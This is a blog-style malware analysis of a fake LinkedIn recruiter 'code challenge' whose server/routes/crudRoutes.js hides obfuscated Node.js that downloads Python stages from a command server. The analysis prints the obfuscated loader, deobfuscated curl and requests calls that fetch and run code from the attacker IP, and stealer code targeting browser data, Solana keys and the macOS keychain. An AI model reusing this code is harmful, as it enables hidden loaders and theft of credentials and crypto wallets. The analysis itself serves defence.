Post

Linkedin Python malware

This analysis is going to get technical and long, grab a coffee ☕ and enjoy

How we got the file

This malware sample was sent into one of the Discord servers I’m in.

The malware sample will be available at the bottom of the page

How this malware is spread

Sadly, I did not enquire about this much, so this will be very surface level. sorry :(

Here is the Discord message:

A few days ago, a recruiter on LinkedIn sent me a zip file containing a code challenge. As I began solving it, I noticed something fishy with the server-side code (specifically, the crudRoutes.js file that is obfuscated). Although I haven’t executed the server part of it, I’m would still like to ask if someone is willing to check both the code and the contents of the zip file?

Also, yesterday, account of that recruiter was removed by LinkedIn.

🤔

Well that already seems kind of suspicious… so we asked for the zip file the victim got. Luckily he hadn’t executed it, so we are just doing this for research purposes. (Remember, we are going to be looking for the crudRoutes.js file)

1
2
3
4
~/Downloads/testing/spooky-code                                                                            07:26:38
❯ ls
package.json  public  README.md  server  src  tailwind.config.js

^ These are the contents of the zip file.

The contents of README.md aren’t that interesting, but it shows us that this app was created with create-react-app

Let’s go deeper in the server code

1
2
ls           
controllers  Cruds.json  db.js  models  package-lock.json  package.json  routes  server.js

Lot of stuff, but not much of it is relevant to us.

By catting the contents of server.js, that the user is supposed to run, we can see, that it imports the file that we were talking about

1
2
3
4
5
6
7
8
9
require("dotenv").config();
const express = require("express");
const cors = require("cors");
const connection = require("./db");
const crudRoutes = require("./routes/crudRoutes"); // this is the file we are talking about

const app = express();
const PORT = process.env.PORT|| 8080;
[...]

This means, that if the victim runs this script, to check their “work”, they run this supposedly malicious script. But is it really malicious? Time to figure it out.

Analyzing crudRoutes.js

Reminder, the path is: server/routes/crudRoutes.js

Let’s analyze the file in 3 parts, first, we have some comments on top:

1
/* learn more: https://github.com/testing-library/jest-dom // @testing-library/jest-dom library provides a set of custom jest matchers that you can use to extend jest. These will make your tests more declarative, clear to read and to maintain.*/    

This is probably used to mislead, which we will be able to see, when we check the second part of this script. This is only going to be a small slice since the real script is way longer

1
Object.prototype.toString,Object.defineProperty,Object.getOwnPropertyDescriptor;const t="base64",c="utf8",a=require("fs"),r=require("os"),e=a=>(s1=a.slice(1),Buffer.from(s1,t).toString(c));pt=require(e("zcGF0aA")),rq=require(e("YcmVxdWVzdA")),cr=require(e("aY3J5cHRv")),ex=require(e("aY2hpbGRfcHJvY2Vzcw"))[e("cZXhlYw")],hs=r[e("caG9zdG5hbWU")](),pl=r[e("YcGxhdGZvcm0")](),hd=r[e("ZaG9tZWRpcg")](),td=r[e("cdG1wZGly")](),tp=r[e("AdHlwZQ")]();let l;const n=a=>Buffer.from(a,t).toString(c),Z=()=>{let t="MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA==  ";for(var c="",a="",r="",e="",l=0;l<10;l++)c+=t[l],a+=t[10+l],r+=t[20+l],e+=t[30+l];return c=c+r+e,n(a)+n(c)},s=t=>t.replace(/^~([a-z]+|\/)/,((t,c)=>"/"===c?hd:`${pt[n("ZGlybmFtZQ")](hd)}/${c}`)),h="cnNqNg6",m="Z2V0",$="Ly5ucGw",o="d3JpdGVGaWxlU3luYw",d="L2NsaWVudA",G=n("ZXhpc3RzU3luYw");function b(t){const c=n("YWNjZXNz"+"U3luYw");

😑

Yeah, that looks obfuscated and VERY suspicious.

The third and final part is some readable code:

1
2
3
4
5
6
7
const express = require("express");
const router = express.Router();
const Controller = require("../controllers/Controller");

router.post("/add", Controller.add_earn);
router.get("/history/:address", Controller.get_history);
router.get("/time/:address", Controller.get_time);

I haven’t looked into the original workings of the app, but I assume this is so that when this is imported in server/server.js, it actually does something other than running the obfuscated script.

From now on, we will call this file Stage 1

Stage 1

md5: c1c1c5b2a76a3d463cb4f7c22c88bbe5

SHA1: 0c0c69335734a315a49103e7252ae9d872289e30

SHA256: e6aa745515463388b9fcf7ad694ecec17c12cf4bf622412e847817e85e48c041

Virustotal: 21 / 59

Recap:

  • We got this file from LinkedIn
  • It is imported by server.js
  • It’s obfuscated javascript (nodejs)

The encoded strings

Now that we got through the boring part, it’s time for the fun part, let’s analyze what this script does! :D

I opted for static analysis at the start, this is partially because I want to improve my skills and partially because I’m more familiar with this.

The first thing we should do, is separate this file from the others, and run js beautify on it.

Here is the beginning of the code we get back (it’s 285 lines actually)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Object.prototype.toString, Object.defineProperty, Object.getOwnPropertyDescriptor;
const t = "base64",
    c = "utf8",
    a = require("fs"),
    r = require("os"),
    e = a => (s1 = a.slice(1), Buffer.from(s1, t).toString(c));
pt = require(e("zcGF0aA")), rq = require(e("YcmVxdWVzdA")), cr = require(e("aY3J5cHRv")), ex = require(e(
    "aY2hpbGRfcHJvY2Vzcw"))[e("cZXhlYw")], hs = r[e("caG9zdG5hbWU")](), pl = r[e("YcGxhdGZvcm0")](), hd = r[e(
    "ZaG9tZWRpcg")](), td = r[e("cdG1wZGly")](), tp = r[e("AdHlwZQ")]();
let l;
const n = a => Buffer.from(a, t).toString(c),
    Z = () => {
        let t = "MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA==  ";
        for (var c = "", a = "", r = "", e = "", l = 0; l < 10; l++) c += t[l], a += t[10 + l], r += t[20 + l], e += t[
            30 + l];
        return c = c + r + e, n(a) + n(c)
    },
    s = t => t.replace(/^~([a-z]+|\/)/, ((t, c) => "/" === c ? hd : `${pt[n("ZGlybmFtZQ")](hd)}/${c}`)),
    h = "cnNqNg6",
    m = "Z2V0",
    $ = "Ly5ucGw",
    o = "d3JpdGVGaWxlU3luYw",
    d = "L2NsaWVudA",
    G = n("ZXhpc3RzU3luYw");

function b(t) {
    const c = n("YWNjZXNz" + "U3luYw");
    try {
        return a[c](t), !0
    } catch (t) {
        return !1
    }
}
const i = n("RGVmYXVsdA"),
    u = n("UHJvZmlsZQ"),
    W = e("aZmlsZW5hbWU"),
    Y = e("cZm9ybURhdGE"),
    p = e("adXJs"),
    y = e("Zb3B0aW9ucw"),
    w = e("YdmFsdWU"),
    V = n("cmVhZGRpclN5bmM"),
    f = n("c3RhdFN5bmM"),
    v = (n("aXNEaXJlY3Rvcnk"), n("cG9zdA")),
[...]

Welll…. this is a lot to take in at once. The trick is to just start doing something, start understanding something. The first thing I noticed, that makes it hard to understand things, is the encoded strings. So we have to figure out the algorithm used for encoding these. This made me notice, that there are in general two functions used to encode things, one is called n and the other is called e.

We can see above, e defined as:

1
e = a => (s1 = a.slice(1), Buffer.from(s1, t).toString(c));

Some more knowledge we need is that t = "base64".

Putting all this information together, we can see that the function e, takes a string, slices off the first character, and then base64 decodes it.

n is similar, but easier.

1
const n = a => Buffer.from(a, t).toString(c),

It takes a string and base64 decodes it.

Surprisingly, these encodings are used all over the obfuscated script, and you can translate almost all strings with this into readable ones.

So let’s see what we could figure out by using this method.

First, let’s look at the cleaned up imports:

1
2
3
4
5
6
7
8
pt = require("path"),
rq = require("request"),
cr = require("crypto"), 
ex = require("child_process")["exec"], 
hs = r["hostname"](), pl = r["platform"](), 
hd = r["homedir"](), 
td = r["tmpdir"](), 
tp = r["type"]();

oh… well… that looks very much not like what a regular program would need. Especially require("child_process")["exec"]

Side note: They really didn’t even change the variable names. When they import with require("child_process")["exec"] they name the variable ex as in execute…

1
2
3
4
5
6
7
8
9
10
    j = "L0xpYnJhcnkvQXBwbGljYXRpb24gU3VwcG9ydC8", // "/Library/Application Support/"
    L = "L0FwcERhdGEv", // /AppData/
    x = "L1VzZXIgRGF0YQ", // /User Data
    F = "R29vZ2xlL0Nocm9tZQ", // Google/Chrome
    R = ["TG9jYWwvQnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy", // Local/BraveSoftware/Brave-Browser
     "QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy", // BraveSoftware/Brave-Browser
      "QnJhdmVTb2Z0d2FyZS9CcmF2ZS1Ccm93c2Vy"], // BraveSoftware/Brave-Browser
    Q = ["TG9jYWwvR29vZ2xlL0Nocm9tZQ", F, "Z29vZ2xlLWNocm9tZQ"], // Local/Google/Chrome    ,    google-chrome
    X = ["Um9hbWluZy9PcGVyYSBTb2Z0d2FyZS9PcGVyYSBTdGFibGU", // Roaming/Opera Software/Opera Stable
     "Y29tLm9wZXJhc29mdHdhcmUuT3BlcmE", // com.operasoftware.Opera

It is also trying to do something with browser data, these are already signs of some stealer, it’s weird that it’s doing it in the first stage?

Maybe this is not so competent of a malware after all… (foreshadowing)

We can also see it trying to steal some crypto. Weird thing is, it’s only trying one kind:

1
2
3
 const t = "solana_id.txt";
            if (e = `${hd}${"/.config/solana/id.json"}`, a[G](e)) try { // these used to be an encoded strings I just cleaned it up

We can also see it trying to steal login data:

1
2
3
4
        const c = "Login Data",
            r = "createReadStream",
            e = "/Library/Keychains/login.keychain",
            l = "logkc-db";

The URL

There is one encoding that is more difficult than others, since it doesn’t use n or e.

1
2
3
4
5
    Z = () => {
        let t = "MTQ3LjEyNCaHR0cDovLw4yMTIuODk6MTI0NA==  ";
        for (var c = "", a = "", r = "", e = "", l = 0; l < 10; l++) c += t[l], a += t[10 + l], r += t[20 + l], e += t[30 + l];
        return c = c + r + e, n(a) + n(c)
    },

It’s this part. But since this is JavaScript, it’s extremely easy to run it. We can literally just paste this code into our web browser (it won’t do any damage, it was made for NodeJS), paying attention only to include the parts of the code we need (if we also use the parts of the code where it imports libraries, it won’t run in the browser). Then, if we just type console.log(Z), we get an output: “hxxp[://]147[.]124[.]212[.]89:1244”

Looking for executes (ex)

Remember that ex = require("child_process")["exec"]? Well, let’s look at where ex() is being used!

First execute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
}, A = () => {
    const t = "p2.zip",
        c = `${"http://147.124.212.89:1244"}${"/pdown"}`,
        r = `${td}\\${"p.zi"}`,
        e = `${td}\\${t}`;
    if (H >= C + 6) return;
    const l = "renameSync",
        s = "rename";
    if (a[G](r)) try {
        var h = a[f](r);
        h.size >= C + 6 ? (H = h.size, a[s](r, e, (t => {
            if (t) throw t;
            k(e)
        }))) : (H < h.size ? H = h.size : (a[S](r), H = 0), E())
    } catch (t) {} else {
        const t = `${"curl -Lo"} "${r}" "${c}"`;
        ex(t, ((t, c, n) => {
            if (t) return H = 0, void E();
            try {
                H = C + 6, a[l](r, e), k(e)
            } catch (t) {}
        }))
    }
};

(this is also cleaned up somewhat) Ugh, that’s a lot again. Do we really need all this tho? Not really.

1
ex(t, ((t, c, n) => {

The above line executes the t string. What is the t string?

1
const t = `${"curl -Lo"} "${r}" "${c}"`;

Let’s dig deeper, we need c too now (we don’t really need r, since it’s just the download location, but if you are curious, it downloads into the temp directory defined at the top)

1
        c = `${"hxxp[://]147[.]124[.]212[.]89:1244"}${"/pdown"}`,

So basically it reaches out to this url and downloads the file. What it downloads is not that interesting for us. They have a local version of Python3, and it just basically pulls down Python3 so it can execute commands and scripts with it.

Second execute

The second execute is where things get interesting. To figure out what it does, we do the same thing as in the first one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    } else(() => {
        const t = Z(),
            c = n(d),
            r = n(o),
            e = n(m),
            l = "/.npl",
            s = "python",
            G = `${t}${c}/${h}`, // /client/rsj6
            b = `${hd}${l}`;
        let i = `python3 "${b}"`;
        rq["get"](G, ((t, c, e) => {
            t || (a[r](b, e), ex(i, ((t, c, a) => {})))
        }))
    })()

Let’s note a few things here.

  • rq resolves to request meaning we are doing a get request on the string G
  • It executes the downloaded script with python, that it got from the previous download

So, what does it do a request to?

  • t = the IP
  • c = “client”
  • h = “rsj6”

Put together: hxxp[://]147[.]124[.]212[.]89:1244/client/rsj6

Stage 2

md5: fb3f227993790f81d97f76059cd3d3ff

sha1: 1b54314a4f4d51920d161c8908578264ed551f76

sha256: 2c1619e6ce784f7a411d2c6ddf0687b6aa81f8fd5ebf107bdd6d7fbececaa19e

Virustotal: 2/60

This rsj6 file is going to be our stage2.

At this point I booted up Remnux, so I can safely execute parts of this code, without the fear of my system being infected.

1
2
3
4
5
6
7
sType = 'rsj6'

t="GlmY"+"ksYL"+"TQUAKQQBLWwlDR48XUd1PCsNGT8EATRgKB9BKh4RKT4oDwgqGF8qNTRmGSsSSTAhNwM [...] B8SOyAiQE04Gy5wRg=="
import base64
d=base64.b64decode(t[8:]);sk=t[:8];size=len(d);res=''
for i in range(size):k=i&7;c=chr(d[i]^ord(sk[k]));res+=c
exec(res)

The […] is added here, there are a ton more characters.

This is the file we get. We can see that it executes a result. We could do static analysis, but it’s not needed. Let’s replace exec with print and run the program again. (if you are doing this yourself, make sure you are running this in a safe environment) We are also going to pipe this into a new file called… actual-stage-2 :

1
python3 ./rsj6 > actual-stage-2

We get an actually understandable file this time:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64,platform,os,subprocess,sys
try:import requests
except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests

ot = platform.system()
home = os.path.expanduser("~")
host="4yMTIuODk=MTQ3LjEyNC"
host1 = base64.b64decode(host[10:] + host[:10]).decode()
host2 = f'http://{host1}:1244'
pd = os.path.join(home, ".n2")
ap = pd + "/pay"
def download_payload():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass

    try:
        aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_payload()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/bow"
def download_browse():
    if os.path.exists(ap):
        try:os.remove(ap)
        except OSError:return True
    try:
        if not os.path.exists(pd):os.makedirs(pd)
    except:pass
    try:
        aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)
        with open(ap, 'wb') as f:f.write(aa.content)
        return True
    except Exception as e:return False
res=download_browse()
if res:
    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
    else:subprocess.Popen([sys.executable, ap])

Again, pretty long but most is not very relevant. We can see that it has different behavior depending on the OS that is used.

Let’s just use python to see what the host is:

1
2
3
4
5
6
7
>>> host="4yMTIuODk=MTQ3LjEyNC"
>>> host1 = base64.b64decode(host[10:] + host[:10]).decode()
>>> host1
'147[.]124[.]212[.]89' # defanged for safety
>>> host2 = f'http://{host1}:1244'
>>> host2
'hxxp[://]147[.]124[.]212[.]89:1244' # defanged for safety

Looking down a little further, most of this script is just messing around with the file system. Here are the important parts:

1
aa = requests.get(host2+"/payload/"+sType, allow_redirects=True)

and

1
aa=requests.get(host2+"/brow/"+sType, allow_redirects=True)

These two basically get two different files (that are later run). One is located at http://IP:port/payload and the other is located at http://IP:port/brow. Let’s get these two files by using wget. These are actually, already our final stage(s).

The final stage(s)

Okay I kinda lied, to reach the final stage, we have to repeat the process we used in the previous stage, to get back some python code again. I’m not going to write this process down again, we just replace the keyword exec() with print, and then pipe the result into a new file.

We end up with two files, we can name them payload and brow, these are both Python(3) files.

Okay but this raises several questions.

If you were paying attention, you might have noticed that these files were being run as… python files, and I’m saying this is the last stage. Yep, the last stage is Python… which is an interesting decision…

1
2
3
4
remnux@remnux:~/Documents/infected/spooky2$ cat stage-3-brow | wc -l
394
remnux@remnux:~/Documents/infected/spooky2$ cat stage-3-payload | wc -l
583

brow is shorter, let’s look at it first!

Brow (browser)

md5: a55436e1110bda8d144672f141fbeaeb

sha1: 39798a75802621ab3b78fdbf04c1ad285243b1e6

sha256: b97e7fbd85d3e487c614a9f1319eef27141ab1e89c72e8e656606e0c4fb92379

Virustotal: 2/60

We can see at the beginning a URL being set for data exfiltration:

1
2
3
4
5
6
host="4yMTIuODk=MTQ3LjEyNC"
ts = int(time.time()*1000)
hn = socket.gethostname()

host1 = base64.b64decode(host[10:] + host[:10]).decode()
host2 = f'http://{host1}:1244'

As we can see time and time again, this is not that complicated, not that advanced. host2 will be: hxxp[://]147[.]124[.]212[.]89:1244

Here we can see how discriminating this malware is against Firefox users >:( :

1
2
3
4
5
class Chrome(BrowserVersion):base_name = "chrome";v_w = ["chrome", "chrome dev", "chrome beta", "chrome canary"];v_l = ["google-chrome", "google-chrome-unstable", "google-chrome-beta"];v_m = ["chrome", "chrome dev", "chrome beta", "chrome canary"]
class Brave(BrowserVersion):base_name = "brave";v_w = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_l = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_m = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"]
class Opera(BrowserVersion):base_name = "opera";v_w = ["Opera Stable", "Opera Next", "Opera Developer"];v_l = ["opera", "opera-beta", "opera-developer"];v_m = ["com.operasoftware.Opera", "com.operasoftware.OperaNext", "com.operasoftware.OperaDeveloper"]
class Yandex(BrowserVersion):base_name = "yandex";v_w = ["YandexBrowser"];v_l = ["YandexBrowser"];v_m = ["YandexBrowser"]
class MsEdge(BrowserVersion):base_name = "msedge";v_w = ["Edge"];v_l = [];v_m = []

Priorities, am I right? :

1
2
3
4
5
6
7
8
9
10
11
def pretty_print(self) -> str:
    o = ""
    for dict_ in self.values:
        for val in dict_:o += f"{val} : {dict_[val]}\n"
        o += '-' * 50 + '\n'

    for dict_ in self.webs:
        for val in dict_:o += f"{val} : {dict_[val]}\n"
        o += '-' * 50 + '\n'

    return o

This script basically handles browser data exfil to a remote server, and that is its only job. I do not understand why it couldn’t be added to the other file, but whatever-

Payload

md5: 81281b2631a7ab0328fffdcf12d0ac66

sha1: 886b5e6ccfcc65283c0689a04c1333db9d19af09

sha256: 070d9d5f3297e0b6549bef406db0b0ab1866369402fe1c093c4d2470912caf40

Virustotal: 2/60

I’m not gonna comment those detection scores tbh…

1
2
3
host="4xMDYuMTAxMTczLjIxMS"
[...]
HOST0 = base64.b64decode(host[10:] + host[:10]).decode()
1
2
3
4
>>> host="4xMDYuMTAxMTczLjIxMS"
>>> HOST0 = base64.b64decode(host[10:] + host[:10]).decode() 
>>> HOST0
'173[.]211[.]106[.]101'

This is a different address! So a different address is being used for the main operations.

I’m not going to delve deep into this one. It’s python malware, what do you expect? There is no persistence, and I’m pretty sure it doesn’t pass any antivirus since it doesn’t really do any evasion. (even if it passes non-sandbox checks after the initial stage)

Sample

Malware sample Password: infected (thanks vxunderground :P)

This post is licensed under CC BY 4.0 by the author.